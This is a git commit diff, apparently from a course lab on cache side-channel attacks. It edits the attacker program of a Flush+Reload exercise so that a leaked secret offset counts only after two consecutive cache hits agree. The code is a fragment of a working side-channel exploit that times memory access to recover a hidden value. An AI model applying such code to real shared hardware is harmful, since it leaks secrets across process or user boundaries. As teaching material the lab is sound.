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SHD-CacheAttackLab
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part2 ver 0.5.0

This commit is contained in:
ClF3 2024-11-04 21:00:04 +08:00
parent 29b495c6b9
commit 5d0fb9c694
1 changed files with 9 additions and 3 deletions
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12
Part2-FlushReload/attacker.c
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@ -15,6 +15,7 @@
int main() {
int index = -1;
int flag = -1;
int maybe_flag= -1;
CYCLES time = -1;
int offset = 0;
int new_offset = 0;
@ -36,9 +37,14 @@ int main() {
}
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
if(time < CACHE_HIT_THRESHOLD) {
flag = offset;
index = i;
break;
if(offset == maybe_flag) {
flag = offset;
index = i;
break;
}
else {
maybe_flag = offset;
}
}
}
printf("Flag: %d\n", flag);